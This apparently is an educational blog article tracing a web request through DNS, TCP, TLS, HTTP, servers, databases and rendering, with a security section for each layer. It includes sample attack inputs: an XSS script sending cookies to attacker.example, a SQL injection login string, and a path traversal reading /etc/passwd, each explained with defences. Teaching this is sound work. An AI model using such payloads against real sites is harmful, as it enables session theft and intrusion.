What Actually Happens When You Visit a Website

Aug 17, 2026 · 11 min read

When you type a URL into your browser and press enter, within seconds, a website appears. But what exactly happens between those two moments?

Behind this simple action is a chain of protocols and systems working together, going from DNS and TCP to TLS, HTTP, servers, and databases. In this article, this journey is followed step by step, while having a look at the security risks that can appear along the way.

DNS - Finding The Website

When a domain like example.com is entered into the address bar, a DNS lookup happens. DNS matches a domain name to an IP address, which is what machines actually use. Networking protocols are designed entirely around addresses, not names.

Browser
   │
   ▼
Recursive Resolver
   │
   ▼
Root DNS Server
   │
   ▼
TLD Server (.com)
   │
   ▼
Authoritative DNS Server
   │
   ▼
IP Address

Key components of the lookup:

Recursive resolver: This can be thought of as the librarian of the process. It is a server that receives the user’s request and then queries other DNS servers on the user’s behalf. It is usually run by the ISP, or by a public provider such as 1.1.1.1 or 8.8.8.8.

DNS cache: In order to save time, the browser, the operating system, and the recursive resolver all store answers for a while. If the website’s IP is already in a cache, the rest of the lookup is skipped entirely.

Authoritative DNS server: This server holds the official, up-to-date DNS records for a specific domain. It is the last stop, the final authority, and it provides the definitive IP address to the recursive resolver.

The answer comes back as a DNS record. A records map a domain name to a 32-bit IPv4 address. AAAA records map a domain name to a 128-bit IPv6 address, which accommodates the modern internet’s massive scale.

example.com.   300   IN   A      203.0.113.9
example.com.   300   IN   AAAA   2001:db8::9
               │
               └── TTL: how many seconds the answer can be cached

Security Angle

Traditional DNS is sent in plain text over UDP port 53, and the answer is not verified. This opens the door to a few attacks:

DNS spoofing and cache poisoning: an attacker sends forged answers to a resolver, so that example.com points to their server instead. Because the answer is cached, every user of that resolver is sent to the wrong place until the TTL expires.
Eavesdropping: anyone on the path, such as a public Wi-Fi operator, can see every domain the user looks up.
Subdomain takeover: a DNS record still points to a cloud service the company no longer uses, and an attacker claims that service to host their own content on the company’s subdomain.

DNSSEC protects against forged answers by digitally signing records, while DNS over HTTPS (DoH) and DNS over TLS (DoT) encrypt the lookup so it cannot be read on the way.

TCP - Establishing the Connection

Once DNS has given the server’s IP address to the browser, the browser establishes a connection to that server. For HTTPS websites, the connection is made to port 443 using TCP.

TCP begins with a three-way handshake to establish the connection.

Client -> SYN -> Server
Client <- SYN/ACK <- Server
Client -> ACK -> Server

First, the client sends a SYN packet to request the connection. The server, upon receipt of the SYN, responds with a SYN/ACK that acknowledges the client’s request and indicates that it is ready to communicate. Finally, the client sends an ACK, which completes the handshake.

TCP ensures that the data is delivered reliably and in the correct order. Both sides keep track of the state of the connection, and if packets are lost, TCP retransmits them.

The :443 at the end of the address represents the destination port. Ports allow a device to distinguish between different network services running on the same IP address. Port 443 is conventionally used for HTTPS, and port 80 for plain HTTP.

203.0.113.9:443
     │       │
     │       └── Port
     │
     └── IP address

Newer browsers and servers can also use HTTP/3, which runs over QUIC on UDP instead of TCP, but the idea is the same: set up a reliable connection before any web traffic is sent.

Security Angle

The handshake itself can be abused. In a SYN flood, an attacker sends a huge number of SYN packets and never completes the handshake. The server keeps a half-open connection for each one until it runs out of resources and cannot accept real users. SYN cookies, rate limiting, and DDoS protection services are the usual defenses.

Open ports are also the first thing an attacker looks at. A port scan shows which services a server exposes, which is why anything that does not need to be reachable from the internet, such as a database or an admin panel, should be closed off by a firewall.

TLS - Securing the Connection

TCP has now established a connection between the client and server. But there is a problem: the data is not encrypted. This is where TLS (Transport Layer Security) comes in.

When visiting a website over HTTPS, the browser and server perform a TLS handshake before exchanging any HTTP data. A simplified version looks like this:

Client                              Server
  │                                   │
  │──── ClientHello ─────────────────>│
  │                                   │
  │<──── ServerHello + Certificate ───│
  │                                   │
  │──── Key Exchange ────────────────>│
  │                                   │
  │<═══════ Encrypted connection ════>│
  │                                   │

During this process, the client and server agree on how they will communicate securely and establish the cryptographic keys used to encrypt the connection. The server also provides a digital certificate, which the browser verifies to confirm that the server actually belongs to the domain being visited.

TLS provides three important properties:

Confidentiality: prevents others from reading the traffic.
Integrity: detects whether traffic has been modified.
Authentication: certificates verify the identity of the server.

Once the TLS handshake is complete, the connection is ready for the browser to send its HTTP request.

TCP
 ↓
Reliable connection

TLS
 ↓
Encrypted + authenticated connection

HTTP
 ↓
Request the webpage

Security Angle

TLS is only as strong as how it is set up:

Downgrade and old versions: servers that still allow SSL 3.0, TLS 1.0 or TLS 1.1 can be pushed onto weak encryption. Modern servers should only accept TLS 1.2 and 1.3.
SSL stripping: if a user first visits the site over plain HTTP, an attacker in the middle can keep them on HTTP and never let the upgrade to HTTPS happen. HSTS (HTTP Strict Transport Security) tells the browser to always use HTTPS for that domain.
Certificate problems: expired, self-signed or mismatched certificates trigger browser warnings, and users who click through them can no longer tell a real server from an attacker’s.

It is also important to remember what TLS does not do. It protects the data on the way, but it does not make the website itself safe. A site with a valid padlock can still be vulnerable, or can be a phishing page.

HTTP - Requesting the Page

With a secure connection in place, the browser sends an HTTP request. It is plain text (before TLS encrypts it), made up of a method, a path, and headers:

GET /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Accept: text/html
Cookie: session=8f3a91c2...

Method: what the browser wants to do. GET retrieves data, POST sends data such as a form.
Path: which resource on the server is being requested.
Headers: extra information, such as which domain is being visited (Host), what the browser can accept, and any cookies.

The server answers with an HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=8f3a91c2...; Secure; HttpOnly
Content-Length: 5120

<!DOCTYPE html>
<html> ...

The status code tells the browser how the request went: 200 means success, 301 is a redirect, 404 means not found, and 500 means something went wrong on the server.

HTTP is stateless, meaning each request is independent and the server does not remember the previous one. Cookies solve this: after logging in, the server gives the browser a session cookie, and the browser sends it back with every request so the server knows who it is talking to.

Security Angle

Everything in an HTTP request is controlled by the client, so the server should never trust it. Parameters, headers, and cookies can all be changed with a tool like Burp Suite. Common issues include:

Session hijacking: if an attacker steals a session cookie, they become that user. The Secure flag keeps the cookie off plain HTTP, and HttpOnly stops JavaScript from reading it.
Broken access control (IDOR): changing /invoice?id=1001 to id=1002 returns another user’s data because the server does not check who owns it.
Missing security headers: headers such as Content-Security-Policy and X-Frame-Options limit what a page can load and stop it from being embedded in other sites.

The Server - Processing the Request

The request does not always go straight to the application. On larger websites it usually passes through several layers first:

Browser
   │
   ▼
CDN / Load Balancer
   │
   ▼
Web Server (Nginx, Apache)
   │
   ▼
Application (PHP, Python, Node.js)
   │
   ▼
Database

A CDN or load balancer spreads traffic across many servers and can serve cached content from a location close to the user. The web server handles the connection, serves static files such as images and CSS, and passes dynamic requests to the application. The application runs the actual logic: checking the session cookie, deciding what the user is allowed to see, and fetching any data it needs.

Security Angle

The application is where most web vulnerabilities live, because this is where user input is processed:

Command injection: user input is passed into a system command, letting an attacker run their own commands on the server.
File inclusion and path traversal: a parameter such as ?page=../../etc/passwd reads files outside the web directory.
Information disclosure: detailed error messages, version banners, or leftover files such as .git or backups reveal how the server is built.

Keeping software up to date, validating input, and showing generic error messages to users removes a large part of this attack surface.

The Database - Fetching the Data

Most websites do not store their content in fixed HTML files. When a user opens their profile, the application asks a database for that user’s data:

SELECT username, email FROM users WHERE id = 42;

The database returns the matching rows, and the application places them into an HTML template to build the page. The finished page then travels back through the web server, over the encrypted TLS connection, to the browser.

Security Angle

The most well-known database attack is SQL injection. It happens when user input is added directly into a query:

Login form input:   admin' --

Resulting query:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
                                              │
                                              └── everything after -- is a comment

The password check is commented out, and the attacker is logged in as admin. The same technique can be used to read every table in the database. The fix is to use parameterized queries (prepared statements), where user input is always treated as data and never as part of the SQL command. The database account used by the application should also only have the permissions it actually needs.

The Browser - Rendering the Page

Finally, the browser receives the HTML. It reads through it and builds the page, and every image, stylesheet, and script it finds triggers more HTTP requests, often to other domains, each with its own DNS lookup and connection. The CSS is applied, the JavaScript runs, and the page appears on the screen.

Security Angle

Because the browser runs whatever JavaScript the page contains, this is where cross-site scripting (XSS) happens. If a website displays user input, such as a comment, without encoding it, an attacker can submit a script instead:

<script>fetch('https://attacker.example/?c=' + document.cookie)</script>

Every user who views that comment runs the script in their own browser, on the trusted website. Output encoding and a strong Content Security Policy are the main defenses. Related to this, cross-site request forgery (CSRF) tricks a logged-in user’s browser into sending a request they did not intend, which is why forms use CSRF tokens and cookies use the SameSite attribute.

Putting It All Together

To tie everything together, this is what happens when example.com is typed into the address bar:

The browser asks a recursive resolver for the IP address, which finds it through the root, TLD and authoritative DNS servers.
The browser opens a TCP connection to that IP on port 443 with a three-way handshake.
A TLS handshake verifies the server’s certificate and sets up encryption.
The browser sends an HTTP request with its headers and cookies.
The request passes through a CDN or load balancer and a web server to the application.
The application checks the session, queries the database, and builds the page.
The HTTP response travels back over the encrypted connection, and the browser renders it.

All of this usually takes less than a second. Every step also has its own security risks, from forged DNS answers to injected SQL. Understanding the full path is what makes it possible to see where a website can be attacked, and where it needs to be defended.